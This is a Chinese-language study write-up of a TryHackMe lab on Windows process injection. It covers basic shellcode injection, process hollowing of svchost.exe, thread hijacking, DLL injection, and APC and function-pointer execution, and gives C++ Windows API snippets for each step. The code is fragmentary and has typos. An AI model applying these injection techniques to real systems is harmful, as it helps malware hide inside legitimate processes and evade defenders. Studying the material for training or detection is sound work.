tryhackme——Abusing Windows Internals(进程注入)
文章目录
- 一、Abusing Processes
- 二、进程镂空
- 三、线程劫持
- 四、DLL注入
- 五、Memory Execution Alternatives
一、Abusing Processes
操作系统上运行的应用程序可以包含一个或多个进程,进程表示正在执行的程序。进程包含许多其他子组件,并且直接与内存或虚拟内存交互,下表描述了进程的每个关键组件及其用途。
Process Component | Purpose |
---|---|
私有虚拟地址空间 | 进程分配的虚拟内存地址 |
可执行程序 | 存储在虚拟地址空间中的代码和数据 |
打开句柄(open handle) | 定义进程可访问的系统资源句柄 |
安全上下文 | 访问令牌定义用户、安全组、权限和其他安全信息 |
进程 ID | 进程的唯一数字标识符 |
线程 | 进程中计划执行的部分 |
进程注入指通过合法功能或组件将恶意代码注入进程。下面将重点介绍以下四种不同类型的进程注入。
进程注入类型 | 功能 |
---|---|
Process Hollowing(进程镂空) | 创建一个目标进程(通常是合法进程,如svchost.exe)并将其主模块(如exe映像)从内存中“挖空”(替换为恶意代码)。 |
Thread Execution Hijacking(线程执行劫持) | 挂起目标进程的某个线程,修改其上下文(如指令指针EIP/RIP)指向注入的恶意代码,恢复线程后执行恶意逻辑。 |
Dynamic-link Library Injection(DLL注入) | 将恶意DLL加载到目标进程内存中,并通过远程线程(如LoadLibrary调用)或修改导入表使其执行。 |
Portable Executable Injection(PE注入) | 将恶意可执行文件(PE)的映像直接写入目标进程内存,并手动执行(无需通过LoadLibrary)。 |
进程注入采用Shellcode
注入的形式,可以分为四个步骤:
- 打开一个拥有所有访问权限的目标进程。
- 为Shellcode分配目标进程内存。
- 将Shellcode写入目标进程中已分配的内存。
- 使用远程线程执行Shellcode。
上述步骤也可以图形化地分解,以描述Windows API
调用如何与进程内存交互。
实现一个基本shellcode注入器的基本步骤如下:
1、通过OpenProcess
获取目标进程的句柄(handle);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, // Defines access rightsFALSE, // Target handle will not be inheretedDWORD(atoi(argv[1])) // Local process supplied by command-line arguments
);
2、使用VirtualAllocEx
在目标进程中分配内存 ;
remoteBuffer = VirtualAllocEx(processHandle, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
3、使用WriteProcessMemory
在目标内存中写入Shellcode;
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);
4、使用CreateRemoteThread
执行Shellcode;
remoteThread = CreateRemoteThread(processHandle, // Opened target processNULL, 0, // Default size of the stack(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the threadNULL, 0, // Ran immediately after creationNULL
);
二、进程镂空
Process Hollowing
是进程注入的一种方法,能够将整个恶意文件注入进程,具体则是hollowing
或取消进程映射,并将特定的 PE(可移植可执行文件)数据和段注入进程。其大致可分为六个步骤:
- 创建一个处于挂起状态的目标进程;
- 打开恶意映像;
- 从进程内存中取消合法代码的映射;
- 为恶意代码分配内存位置,并将每个段写入地址空间;
- 设置恶意代码的入口点;
- 使目标进程退出挂起状态。
该过程可用下图表示:
实现Process Hollowing
的基本步骤如下:
1、启动一个合法进程(如svchost.exe),但主线程处于挂起状态,此时进程内存已初始化但未执行代码。
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointerif (CreateProcessA((LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to executeNULL,NULL,NULL,TRUE, // Handles are inherited from the calling processCREATE_SUSPENDED, // New process is suspendedNULL,NULL,target_si, // pointer to startup infotarget_pi) == 0) { // pointer to process informationcout << "[!] Failed to create Target process. Last Error: " << GetLastError();return 1;
2、使用CreateFileA
获取恶意映像的句柄。
HANDLE hMaliciousCode = CreateFileA((LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtainGENERIC_READ, // Read-only accessFILE_SHARE_READ, // Read-only share modeNULL,OPEN_EXISTING, // Instructed to open a file or device if it existsNULL,NULL
);
3、一旦获取到恶意映像的句柄,就必须使用VirtualAlloc
为恶意文件分配本地内存,GetFileSize
函数也用于检索恶意映像所需内存大小。
DWORD maliciousFileSize = GetFileSize(hMaliciousCode, // Handle of malicious image0 // Returns no error
);PVOID pMaliciousImage = VirtualAlloc(NULL,maliciousFileSize, // File size of malicious image0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x04 // Enables read/write access (PAGE_READWRITE)
);
4、写入恶意文件
DWORD numberOfBytesRead; // Stores number of bytes readif (!ReadFile(hMaliciousCode, // Handle of malicious imagepMaliciousImage, // Allocated region of memorymaliciousFileSize, // File size of malicious image&numberOfBytesRead, // Number of bytes readNULL)) {cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;TerminateProcess(target_pi->hProcess, 0);return 1;
}CloseHandle(hMaliciousCode);
5、通过线程上下文获取PEB地址,进而读取原始EXE的基址。
CPU 寄存器 EAX(入口点)和 EBX(PEB 位置)包含我们需要获取的信息;这些信息可以通过使用
GetThreadContext
找到。找到这两个寄存器后,使用ReadProcessMemory
从 EBX 获取基址,并通过检查 PEB 获得偏移量 (0x8)。
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to store retrieved context
); // Obtains the current thread contextPVOID pTargetImageBaseAddress;
ReadProcessMemory(target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure(PVOID)(c.Ebx + 8), // Pointer to the base address&pTargetImageBaseAddress, // Store target base address sizeof(PVOID), // Bytes to read 0 // Number of bytes out
);
6、清空目标进程的原始代码/数据,形成“空洞”。可以使用从ntdll.dll
导入的ZwUnmapViewOfSection
来释放目标进程的内存。
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, // Handle of ntdll"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdllDWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress // Base address of the process
);
7、在Hollowed
进程中为恶意进程分配内存。
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanewDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structurePVOID pHollowAddress = VirtualAllocEx(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processsizeOfMaliciousImage, // Byte size obtained from optional header0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
8、一旦分配了内存,将恶意PE头写入内存;
if (!WriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structurepTargetImageBaseAddress, // Base address of the processpMaliciousImage, // Local memory where the malicious file residespNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers NULL
)) {cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
9、写入恶意进程的各节区;
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE dataPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section headerWriteProcessMemory(target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section (PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current sectionpSectionHeader->SizeOfRawData, // Byte size of current sectionNULL);
}
10、使用SetThreadContext
将EAX更改为指向恶意入口点;
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional headerSetThreadContext(target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure&c // Pointer to the stored context structure
);
11、使用ResumeThread
将进程从挂起状态中唤醒。
ResumeThread(target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);
三、线程劫持
线程劫持可分为10个步骤:
- 定位并打开要控制的目标进程。
- 为恶意代码分配内存区域。
- 将恶意代码写入分配的内存。
- 识别要劫持的目标线程的线程 ID。
- 打开目标线程。
- 暂停目标线程。
- 获取线程上下文。
- 将指令指针更新为恶意代码。
- 重写目标线程上下文。
- 恢复被劫持的线程。
1、前三个步骤与常规进程注入步骤相同,可参考一下代码:
// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);// 为恶意代码分配内存区域
PVOIF remoteBuffer = VirtualAllocEx(hProcess, // Opened target processNULL, sizeof shellcode, // Region size of memory allocation(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);// 将恶意代码写入分配的内存
WriteProcessMemory(processHandle, // Opened target processremoteBuffer, // Allocated memory regionshellcode, // Data to writesizeof shellcode, // byte size of dataNULL
);
2、通过识别线程ID来开始劫持进程线程。为了识别线程ID,我们需要使用三个Windows API调用:CreateToolhelp32Snapshot()
、Thread32First()
和Thread32Next()
。
THREADENTRY32 threadEntry;HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPTHREAD, // Include all processes residing on the system0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshothSnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
);while (Thread32Next( // Obtains the next thread in the snapshotsnapshot, // Handle of the snapshot&threadEntry // Pointer to the THREADENTRY32 structure
)) {
3、打开目标线程
if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match{HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child threads do not inheret parent thread handlethreadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer);break;}
4、使用SuspendThread
挂起目标线程
SuspendThread(hThread);
5、获取线程上下文;
CONTEXT context;
GetThreadContext(hThread, // Handle for the thread &context // Pointer to store the context structure
);
6、劫持目标线程执行流。线程恢复执行时,CPU将从Rip指向的地址(即Shellcode)开始执行,而非原代码逻辑。
context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation
7、更新目标线程上下文;
SetThreadContext(hThread, // Handle for the thread &context // Pointer to the context structure
);
8、重启线程;
ResumeThread(hThread // Handle for the thread
);
四、DLL注入
DLL注入总体可分为5个步骤:
- 找到要注入的目标进程。
- 打开目标进程。
- 为恶意 DLL 分配内存区域。
- 将恶意 DLL 写入分配的内存。
- 加载并执行恶意 DLL。
1、在 DLL 注入的第一步中,我们必须定位目标进程。可以使用如下三个Windows API函数:CreateToolhelp32Snapshot()
、Process32First()
和 Process32Next()
。
DWORD getProcessId(const char *processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed processTH32CS_SNAPPROCESS, // Include all processes residing on the system0 // Indicates the current process);if (hSnapshot) {PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structureentry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structureif (Process32First( // Obtains the first process in the snapshothSnapshot, // Handle of the snapshot&entry // Pointer to the PROCESSENTRY32 structure)) {do {if (!strcmp( // Compares two strings to determine if the process name matchesentry.szExeFile, // Executable file name of the current process from PROCESSENTRY32processName // Supplied process name)) { return entry.th32ProcessID; // Process ID of matched process}} while (Process32Next( // Obtains the next process in the snapshothSnapshot, // Handle of the snapshot&entry)); // Pointer to the PROCESSENTRY32 structure}}DWORD processId = getProcessId(processName); // Stores the enumerated process ID
2、使用GetModuleHandle、GetProcAddress或OpenProcess
打开该进程。
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, // Requests all possible access rightsFALSE, // Child processes do not inheret parent process handleprocessId // Stored process ID
);
3、使用VirtualAllocEx
为恶意 DLL 分配内存。
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, // Handle for the target processNULL, strlen(dllLibFullPath), // Size of the DLL pathMEM_RESERVE | MEM_COMMIT, // Reserves and commits pagesPAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
4、使用WriteProcessMemory
将恶意DLL写入分配的内存位置。
WriteProcessMemory(hProcess, // Handle for the target processdllAllocatedMemory, // Allocated memory regiondllLibFullPath, // Path to the malicious DLLstrlen(dllLibFullPath) + 1, // Byte size of the malicious DLLNULL
);
5、恶意 DLL 被写入内存后,加载并执行它。要加载该 DLL,我们需要使用从kernel32导入的LoadLibrary
函数。加载完成后,可以使用CreateRemoteThread
函数,以LoadLibrary
作为启动函数来执行内存。
LPVOID loadLibrary = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), // Handle of the module containing the call"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, // Handle for the target processNULL, 0, // Default size from the execuatable of the stack(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting functiondllAllocatedMemory, // pointer to the allocated memory region0, // Runs immediately after creationNULL
);
五、Memory Execution Alternatives
shellcode执行技术:
1、调用函数指针(Invoking Function Pointers
)
void 函数指针是一种非常新颖的内存块执行方法,它完全依赖于类型转换。这种技术只能在本地分配的内存中执行,但不依赖于任何API 调用或其他系统功能。
下面的单行代码是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。
- 创建一个函数指针
(void(*)()
;红色框出 - 将分配的内存指针或 shellcode 数组强制转换为函数指针
(<function pointer>)addressPointer)
,黄色框出 - 调用函数指针执行shellcode
();
,绿色框出
2、异步过程调用(Asynchronous Procedure Calls
)
异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。APC函数通过 QueueUserAPC
排队到线程。排队后,APC函数将触发软件中断,并在下次线程调度时执行该函数。
为了让用户态/用户模式应用程序将APC函数排队,线程必须处于“可警告状态”。可警告状态要求线程等待回调函数,例如WaitForSingleObject
或Sleep
。
现在我们了解了什么是 APC 函数,接下来看看它们是如何被恶意利用的!我们将使用VirtualAllocEx
和WriteProcessMemory
来分配和写入内存。
QueueUserAPC((PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winntpinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure(ULONG_PTR)NULL);
ResumeThread(pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structureINFINITE // Wait infinitely until alerted
);
3、PE节区操纵(Section Manipulation
)
核心思想:利用PE文件的节区(如.text、.data)存储恶意代码,通过修改入口点或节区属性实现执行。
PE格式定义了 Windows 中可执行文件的结构和格式。为了执行,我们主要关注节,特别是 .data 和 .text 节,此外,表和指向节的指针也常用于执行数据。
要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来实现的。每种方法的核心都是使用数学运算来遍历物理十六进制数据,并将其转换为 PE 数据。一些较为常见的技术包括 RVA 入口点解析、节映射和重定位表解析。